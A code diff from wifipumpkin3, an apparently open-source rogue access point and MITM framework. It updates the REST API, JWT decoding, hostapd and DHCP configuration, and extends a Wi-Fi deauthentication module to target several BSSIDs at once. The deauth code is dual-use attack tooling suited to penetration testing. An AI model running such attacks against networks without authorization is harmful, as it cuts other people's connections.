PumpkinShell.getInstance() output = [] with Capturing(output) as output: self.root.onecmd(command) @@ -50,15 +48,13 @@ def get(self, command=None): class CommandsPostResource(Resource): - def __init__(self): - self.root = PumpkinShell.getInstance() - super(CommandsPostResource, self).__init__() @token_required def post(self, command=None): data = request.get_json(force=True) if not "commands" in data: return exception("Cannot found that key commands on data", code=400,) + self.root = PumpkinShell.getInstance() output = [] with Capturing(output) as output: self.root.onecmd(data.get("commands")) diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/logger.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/logger.py index 1c01cbb1..068de384 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/logger.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/logger.py @@ -1,6 +1,6 @@ from wifipumpkin3.core.utility.collection import SettingsINI import wifipumpkin3.core.utility.constants as C -from flask_restful import Resource +from flask_restx import Resource from flask import jsonify, request import os, json from itertools import islice diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/plugins.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/plugins.py index 3866c9f1..a799c636 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/plugins.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/plugins.py @@ -1,7 +1,7 @@ from wifipumpkin3.core.utility.collection import SettingsINI import wifipumpkin3.core.utility.constants as C from wifipumpkin3 import PumpkinShell -from flask_restful import Resource +from flask_restx import Resource from flask import jsonify, request from wifipumpkin3.core.servers.rest.ext.auth import token_required from wifipumpkin3.core.servers.rest.ext.exceptions import exception @@ -28,12 +28,9 @@ class MitmPluginsResource(Resource): config = SettingsINI.getInstance() key_name = "mitm_modules" - def __init__(self): - self.root = PumpkinShell.getInstance() - super(MitmPluginsResource, self).__init__() - @token_required def get(self): + self.root = PumpkinShell.getInstance() mitm_plugins = self.root.mitm_controller.getInfo(excluded=("Config")) for item in mitm_plugins: mitm_plugins[item]["Activate"] = self.config.get( @@ -46,10 +43,6 @@ class PluginsInfoResource(Resource): config = SettingsINI.getInstance() key_name = "mitm_modules" - def __init__(self): - self.root = PumpkinShell.getInstance() - super(PluginsInfoResource, self).__init__() - @token_required def get(self, plugin_name=None): if plugin_name: @@ -60,6 +53,7 @@ def get(self, plugin_name=None): ), code=400, ) + self.root = PumpkinShell.getInstance() proxy_plugins = self.root.mitm_controller.getInfo(excluded=("Config")) for item in proxy_plugins: proxy_plugins[item]["Activate"] = self.config.get( @@ -77,7 +71,7 @@ def get(self, attribute=None): if attribute: if not attribute in self.config.get_all_childname(self.key_name): return exception( - "Cannot found that attribute {} on {}!".format(key, self.key_name), + "Cannot found that attribute {} on {}!".format(attribute, self.key_name), code=400, ) return jsonify({attribute: self.config.get(self.key_name, attribute)}) diff --git a/wifipumpkin3/core/servers/rest/blueprints/restapi/proxies.py b/wifipumpkin3/core/servers/rest/blueprints/restapi/proxies.py index 7a59e29d..593ab252 100644 --- a/wifipumpkin3/core/servers/rest/blueprints/restapi/proxies.py +++ b/wifipumpkin3/core/servers/rest/blueprints/restapi/proxies.py @@ -1,7 +1,7 @@ from wifipumpkin3.core.utility.collection import SettingsINI import wifipumpkin3.core.utility.constants as C from wifipumpkin3 import PumpkinShell -from flask_restful import Resource +from flask_restx import Resource from flask import jsonify, request from wifipumpkin3.core.servers.rest.ext.auth import token_required from wifipumpkin3.core.servers.rest.ext.exceptions import exception @@ -28,12 +28,9 @@ class ProxysPluginsResource(Resource): config = SettingsINI.getInstance() key_name = "proxy_plugins" - def __init__(self): - self.root = PumpkinShell.getInstance() - super(ProxysPluginsResource, self).__init__() - @token_required def get(self): + self.root = PumpkinShell.getInstance() proxy_plugins = self.root.proxy_controller.getInfo(excluded=("Config")) list_plugins = [] for item in proxy_plugins: @@ -48,10 +45,6 @@ class ProxiesInfoResource(Resource): config = SettingsINI.getInstance() key_name = "proxy_plugins" - def __init__(self): - self.root = PumpkinShell.getInstance() - super(ProxiesInfoResource, self).__init__() - @token_required def get(self, proxy_name=None): if proxy_name: @@ -62,6 +55,7 @@ def get(self, proxy_name=None): ), code=400, ) + self.root = PumpkinShell.getInstance() proxy_plugins = self.root.proxy_controller.getInfo(excluded=("Config")) for item in proxy_plugins: proxy_plugins[item]["Activate"] = self.config.get( @@ -74,12 +68,9 @@ class ProxiesAllInfoResource(Resource): config = SettingsINI.getInstance() key_name = "proxy_plugins" - def __init__(self): - self.root = PumpkinShell.getInstance() - super(ProxiesAllInfoResource, self).__init__() - @token_required def get(self): + self.root = PumpkinShell.getInstance() proxy_plugins = self.root.proxy_controller.getInfo(excluded=("Config")) for item in proxy_plugins: proxy_plugins[item]["Activate"] = self.config.get( diff --git a/wifipumpkin3/core/servers/rest/ext/auth.py b/wifipumpkin3/core/servers/rest/ext/auth.py index a229d1fb..f1d33655 100644 --- a/wifipumpkin3/core/servers/rest/ext/auth.py +++ b/wifipumpkin3/core/servers/rest/ext/auth.py @@ -36,11 +36,12 @@ def decorated(*args, **kwargs): try: app_secret_key = conf.get("rest_api_settings", "SECRET_KEY") - data = jwt.decode(token, app_secret_key) + data = jwt.decode(token, app_secret_key, algorithms=["HS256"]) app_public_id = conf.get("rest_api_settings", "public_id") if app_public_id != data["public_id"]: return make_response(jsonify({"message": "Token is invalid!"}), 401) - except: + except Exception as e: + print(e) return make_response(jsonify({"message": "Token is invalid!"}), 401) return f(*args, **kwargs) diff --git a/wifipumpkin3/core/utility/collection.py b/wifipumpkin3/core/utility/collection.py index 2336138e..5ca93ee1 100644 --- a/wifipumpkin3/core/utility/collection.py +++ b/wifipumpkin3/core/utility/collection.py @@ -48,6 +48,11 @@ def set(self, name_group, key, value): self.psettings.setValue(key, value) self.closeGroup() + def unset(self, name_group, key): + self.psettings.beginGroup(name_group) + self.psettings.remove(key) + self.closeGroup() + def set_one(self, name_group, key, value): """ Sets the value of setting key to value """ self.set(name_group, key, value) diff --git a/wifipumpkin3/core/utility/printer.py b/wifipumpkin3/core/utility/printer.py index 2482f046..cd8d229f 100644 --- a/wifipumpkin3/core/utility/printer.py +++ b/wifipumpkin3/core/utility/printer.py @@ -96,8 +96,8 @@ def setcolor(text, color="", underline=False): return strcolored[color] -def display_tabulate(header=[], content=[], tablefmt="presto", newline=True): - print(tabulate(content, header, tablefmt=tablefmt)) +def display_tabulate(header=[], content=[], tablefmt="presto", newline=True, **kwargs): + print(tabulate(content, header, tablefmt=tablefmt, **kwargs)) if newline: print("\n") diff --git a/wifipumpkin3/core/wirelessmode/docker.py b/wifipumpkin3/core/wirelessmode/docker.py index c46de19b..c57aa49a 100644 --- a/wifipumpkin3/core/wirelessmode/docker.py +++ b/wifipumpkin3/core/wirelessmode/docker.py @@ -54,7 +54,13 @@ def Initialize(self): # add extra hostapd settings self.addExtraHostapdSettings() - ignore = ("interface=", "ssid=", "channel=", "essid=") + if self.conf.get("accesspoint", "enable_hostapd_config", format=bool): + for key in self.conf.get_all_childname("hostapd_config"): + if key not in self.ignore_key_hostapd: + self.Settings. \ + SettingsAP["hostapd"]. \ + append("{}={}\n".format(key, self.conf.get("hostapd_config", key))) + with open(C.DOCKERHOSTAPDCONF_PATH, "w") as apconf: for i in self.Settings.SettingsAP["hostapd"]: apconf.write(i) diff --git a/wifipumpkin3/core/wirelessmode/restapi.py b/wifipumpkin3/core/wirelessmode/restapi.py index 30df4fbd..a3e9fc16 100644 --- a/wifipumpkin3/core/wirelessmode/restapi.py +++ b/wifipumpkin3/core/wirelessmode/restapi.py @@ -55,7 +55,14 @@ def Initialize(self): # add extra hostapd settings self.addExtraHostapdSettings() - ignore = ("interface=", "ssid=", "channel=", "essid=") + + if self.conf.get("accesspoint", "enable_hostapd_config", format=bool): + for key in self.conf.get_all_childname("hostapd_config"): + if key not in self.ignore_key_hostapd: + self.Settings. \ + SettingsAP["hostapd"]. \ + append("{}={}\n".format(key, self.conf.get("hostapd_config", key))) + with open(C.HOSTAPDCONF_PATH, "w") as apconf: for i in self.Settings.SettingsAP["hostapd"]: apconf.write(i) diff --git a/wifipumpkin3/core/wirelessmode/static.py b/wifipumpkin3/core/wirelessmode/static.py index 767ebdd6..c698712f 100644 --- a/wifipumpkin3/core/wirelessmode/static.py +++ b/wifipumpkin3/core/wirelessmode/static.py @@ -54,7 +54,14 @@ def Initialize(self): # add extra hostapd settings self.addExtraHostapdSettings() - ignore = ("interface=", "ssid=", "channel=", "essid=") + + if self.conf.get("accesspoint", "enable_hostapd_config", format=bool): + for key in self.conf.get_all_childname("hostapd_config"): + if key not in self.ignore_key_hostapd: + self.Settings. \ + SettingsAP["hostapd"]. \ + append("{}={}\n".format(key, self.conf.get("hostapd_config", key))) + with open(C.HOSTAPDCONF_PATH, "w") as apconf: for i in self.Settings.SettingsAP["hostapd"]: apconf.write(i) diff --git a/wifipumpkin3/core/wirelessmode/wirelessmode.py b/wifipumpkin3/core/wirelessmode/wirelessmode.py index fe72c244..7ebf0e92 100644 --- a/wifipumpkin3/core/wirelessmode/wirelessmode.py +++ b/wifipumpkin3/core/wirelessmode/wirelessmode.py @@ -33,6 +33,7 @@ class Mode(Qt.QObject): Name = "Wireless Mode Generic" service = None reactor = None + ignore_key_hostapd = ("interface", "ssid", "channel", "essid", "ap_max_inactivity") def __init__(self, parent=None, FSettings=None): super(Mode, self).__init__() diff --git a/wifipumpkin3/extensions/ap.py b/wifipumpkin3/extensions/ap.py index a6b55049..054cdb90 100644 --- a/wifipumpkin3/extensions/ap.py +++ b/wifipumpkin3/extensions/ap.py @@ -43,7 +43,7 @@ def help_ap(self): def do_ap(self, args): """ap: show all variable and status from AP """ headers_table, output_table = ( - ["BSSID", "SSID", "Channel", "Interface", "Status", "Security"], + ["bssid", "ssid", "channel", "interface", "status", "security", "hostapd_config"], [], ) print(display_messages("Settings AccessPoint:", info=True, sublime=True)) @@ -58,12 +58,16 @@ def do_ap(self, args): if status_ap else setcolor("not Running", color="red"), self.root.conf.get("accesspoint", self.root.commands["security"]), + self.root.conf.get("accesspoint", self.root.commands["hostapd_config"]), ] ) display_tabulate(headers_table, output_table) enable_security = self.root.conf.get( "accesspoint", self.root.commands["security"], format=bool ) + enable_hostapd_config = self.root.conf.get( + "accesspoint", self.root.commands["hostapd_config"], format=bool + ) if enable_security: headers_sec, output_sec = ( @@ -80,3 +84,11 @@ def do_ap(self, args): print(display_messages("Settings Security:", info=True, sublime=True)) display_tabulate(headers_sec, output_sec) self.show_help_command("help_security_command") + + if enable_hostapd_config: + print(display_messages("Settings Hostapd:", info=True, sublime=True)) + for key in self.conf.get_all_childname("hostapd_config"): + print(" {}={}".format(key, self.root.conf.get("hostapd_config", key))) + print('\n') + self.show_help_command("help_hostapd_config_command") + diff --git a/wifipumpkin3/extensions/dhcpconf.py b/wifipumpkin3/extensions/dhcpconf.py new file mode 100644 index 00000000..feda28b5 --- /dev/null +++ b/wifipumpkin3/extensions/dhcpconf.py @@ -0,0 +1,87 @@ +from ast import arg +from wifipumpkin3.core.common.terminal import ExtensionUI +from wifipumpkin3.core.utility.printer import ( + setcolor, + display_messages, + display_tabulate, +) + +# This file is part of the wifipumpkin3 Open Source Project. +# wifipumpkin3 is licensed under the Apache 2.0. + +# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +class Dhcpconf(ExtensionUI): + """ show/choise dhcp server configuration """ + + Name = "dhcpconf" + + def __init__(self, parse_args=None, root=None): + self.parse_args = parse_args + self.root = root + + self.register_command("do_dhcpconf", self.do_dhcpconf) + self.register_command("help_dhcpconf", self.help_dhcpconf) + self.ip_class = ["Class-A-Address","Class-B-Address", "Class-C-Address"] + super(Dhcpconf, self).__init__(parse_args=self.parse_args, root=self.root) + + def help_dhcpconf(self): + self.show_help_command("help_dhcpconf_command") + + def do_dhcpconf(self, args): + """ap: show/choise dhcp server configuration """ + status_ap = self.root.conf.get("accesspoint", "status_ap", format=bool) + if args: + try: + id_dhcp_option = int(args.split()[0]) + selected_id_option = self.ip_class[id_dhcp_option] + for key in self.root.conf.get_all_childname(selected_id_option): + self.root.conf.set("dhcp", key,self.root.conf.get(selected_id_option, key)) + + if status_ap: + print(display_messages("OBS: this settings require restart the AP",error=True)) + + return + except Exception: + return print( + display_messages( + "the parameter id {} was not found.".format( + setcolor(args, color="orange") + ), + error=True, + ) + ) + headers_table, output_table = ( + ["Id","Class", "IP address range", "Netmask" , "Router"], + [], + ) + print(display_messages("DHCP Server Option:", info=True, sublime=True)) + for ip_class in self.ip_class: + output_table.append( + [ + self.ip_class.index(ip_class), + ip_class.split("-")[1], + self.root.conf.get(ip_class,"range"), + self.root.conf.get(ip_class, "netmask"), + self.root.conf.get(ip_class, "router"), + ]) + display_tabulate(headers_table, output_table, tablefmt="presto", newline=False) + print(display_messages("DHCP Server Settings:", info=True, sublime=True)) + for config in self.root.conf.get_all_childname("dhcp"): + print( + " {}={}".format(setcolor(config, color="purple"), self.root.conf.get("dhcp", config)) + ) + print("\n") diff --git a/wifipumpkin3/modules/wifi/wifideauth.py b/wifipumpkin3/modules/wifi/wifideauth.py index 23e5a85f..8be50bb6 100644 --- a/wifipumpkin3/modules/wifi/wifideauth.py +++ b/wifipumpkin3/modules/wifi/wifideauth.py @@ -42,7 +42,6 @@ class ModPump(ModuleUI): options = { "interface": ["wlanx", "Name network interface wireless "], - "target": ["00:00:00:00:00:00", "the device MAC Address from Device to deauth"], "client": [ "ff:ff:ff:ff:ff:ff", "the device MAC Address from client to desconnect", @@ -55,8 +54,10 @@ def __init__(self, parse_args=None, root=None): self.parse_args = parse_args self.root = root self.name_module = self.name - self.whitelist = ["00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"] self.aps = {} + self._mac_blacklist = set() + self._mac_whitelist = set(["00:00:00:00:00:00", "ff:ff:ff:ff:ff:ff"]) + self.is_running = False self.clients = {} self.table_headers_wifi = [ "CH", @@ -69,6 +70,108 @@ def __init__(self, parse_args=None, root=None): self.table_output = [] super(ModPump, self).__init__(parse_args=self.parse_args, root=self.root) + def do_show_scan(self, args): + """ show result scanner wireless network """ + if not self.aps: + print( + display_messages( + "Scanner result not found", error=True + ) + ) + return + self.showDataOutputScanNetworks() + + def do_targets(self, args): + """ show device targets to Deauth Atack """ + if not self._mac_blacklist: + print(display_messages("required: no targets found", error=True)) + return + print(display_messages("Targets:", info=True, sublime=True)) + table_targets = [] + table_headers_targets = [ + "BSSID" + ] + for bssid in self._mac_blacklist: + table_targets.append( + [setcolor(bssid, color="red")] + ) + display_tabulate(table_headers_targets, table_targets) + print("\n") + + def do_add(self, args): + """ add target by mac address (bssid) """ + try: + mac_address = args.split()[0] + except IndexError: + print(display_messages("required: no arguments found", error=True)) + return + + if "." in mac_address: + for target in self.aps.keys(): + if Linux.check_is_mac(target): + self._mac_blacklist.add(target) + return + + if not Linux.check_is_mac(mac_address): + print( + display_messages("No valid mac address".format(mac_address), error=True) + ) + return + + + self._mac_blacklist.add(mac_address) + + def complete_add(self, text, args, start_index, end_index): + if text: + return [ + command + for command in list(self.aps.keys()) + if command.startswith(text) + ] + else: + return list(self.aps.keys()) + + def help_add(self): + self.show_help_command("help_wifideauth_add_command") + + def do_rm(self, args): + """ remove target by mac address (bssid) """ + try: + mac_address = args.split()[0] + except IndexError: + print(display_messages("required: no arguments found:", error=True)) + return + if "." in mac_address: + self._mac_blacklist.clear() + return + + if not Linux.check_is_mac(mac_address): + print( + display_messages("No valid mac address".format(mac_address), error=True) + ) + return + if mac_address not in self._mac_blacklist: + print( + display_messages("Target MAC address not found".format(mac_address), error=True) + ) + return + + + self._mac_blacklist.remove(mac_address) + + def complete_rm(self, text, args, start_index, end_index): + if text: + return [ + command + for command in list(self.aps.keys()) + if command.startswith(text) + ] + else: + return list(self.aps.keys()) + + def help_rm(self): + self.show_help_command("help_wifideauth_rm_command") + def do_scan(self, args): """ start scanner wireless networks AP""" print( @@ -109,23 +212,25 @@ def do_start(self, args): return client_mac = self.options.get("client")[0] - target_mac = self.options.get("target")[0] interface = self.options.get("interface")[0] - if "00:00:00:00:00:00" in self.options.get("target")[0]: + if not self._mac_blacklist: print( display_messages( "please, select a target to deauth attack ", error=True ) ) return + print( display_messages( "enable interface: {} to monitor mode".format(interface), info=True ) ) + print( display_messages("Wi-Fi deauthentication attack", info=True, sublime=True) ) + print( display_messages( "the MAC address: {} of the client to be deauthenticated".format( @@ -134,37 +239,42 @@ def do_start(self, args): info=True, ) ) - info_target = self.aps.get(target_mac) - if info_target: - channel = info_target.get("channel") + + for target_mac in self._mac_blacklist: + info_target = self.aps.get(target_mac) + if info_target: + channel = info_target.get("channel") + print( + display_messages( + "waiting for beacon frame (BSSID: {}) on channel {} ".format( + setcolor(target_mac, color="orange"), channel + ), + info=True, + ) + ) + print( display_messages( - "waiting for beacon frame (BSSID: {}) on channel {} ".format( - setcolor(target_mac, color="orange"), channel + "Sending DeAuth to station -- STMAC: [{}] ".format( + setcolor(target_mac, color="red") ), info=True, ) ) - - print( - display_messages( - "Sending DeAuth to station -- STMAC: [{}] ".format( - setcolor(target_mac, color="red") - ), - info=True, - ) - ) + self.set_monitor_mode("monitor") - self.thread_deauth = ThreadDeauth(target_mac, client_mac, interface) + self.thread_deauth = ThreadDeauth(self._mac_blacklist, client_mac, interface) self.thread_deauth.setObjectName("wifideauth") self.thread_deauth.start() + self.is_running = True self.set_background_mode(True) def do_stop(self, args): """ stop attack deauth module """ - if hasattr(self, "thread_deauth"): + if self.is_running: self.thread_deauth.stop() self.set_background_mode(False) + self.is_running = False def channel_hopper(self, interface): while True: @@ -185,7 +295,7 @@ def handle_probe(self, pkt): essid = "Hidden SSID" client = pkt[Dot11].addr2 - if client in self.whitelist or essid in self.whitelist: + if client in self._mac_whitelist or essid in self._mac_whitelist: return if client not in self.clients: @@ -227,7 +337,7 @@ def getStationTrackFrame(self, pkt): receiver = pkt.getlayer(Dot11).addr1 if sender in self.aps.keys(): if Linux.check_is_mac(receiver): - if not receiver in self.whitelist: + if not receiver in self._mac_whitelist: self.aps[sender]["STA"] = { "Frames": 1, "BSSID": sender, @@ -241,7 +351,7 @@ def getStationTrackFrame(self, pkt): elif receiver in self.aps.keys(): if Linux.check_is_mac(sender): - if not sender in self.whitelist: + if not sender in self._mac_whitelist: self.aps[receiver]["STA"] = { "Frames": 1, "BSSID": receiver, @@ -267,9 +377,9 @@ def handle_beacon(self, pkt): bssid = pkt[Dot11].addr3 client = pkt[Dot11].addr2 if ( - client in self.whitelist - or essid in self.whitelist - or bssid in self.whitelist + client in self._mac_whitelist + or essid in self._mac_whitelist + or bssid in self._mac_whitelist ): return @@ -309,8 +419,7 @@ def handle_beacon(self, pkt): "rssi": rssi, } - def showDataOutputScan(self): - os.system("clear") + def showDataOutputScanNetworks(self): self.table_output = [] self.table_station = [] for bssid, info in self.aps.items(): @@ -333,8 +442,7 @@ def showDataOutputScan(self): ) if len(self.table_station) > 0: display_tabulate(self.table_headers_STA, self.table_station) - - print(display_messages("press CTRL+C to stop scanning", info=True)) + def sniffAp(self, pkt): self.getStationTrackFrame(pkt) @@ -350,7 +458,9 @@ def sniffAp(self, pkt): if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): self.handle_beacon(pkt) - self.showDataOutputScan() + os.system("clear") + self.showDataOutputScanNetworks() + print(display_messages("press CTRL+C to stop scanning", info=True)) def set_monitor_mode(self, mode="manager"): if not self.options.get("interface")[0] in Linux.get_interfaces().get("all"):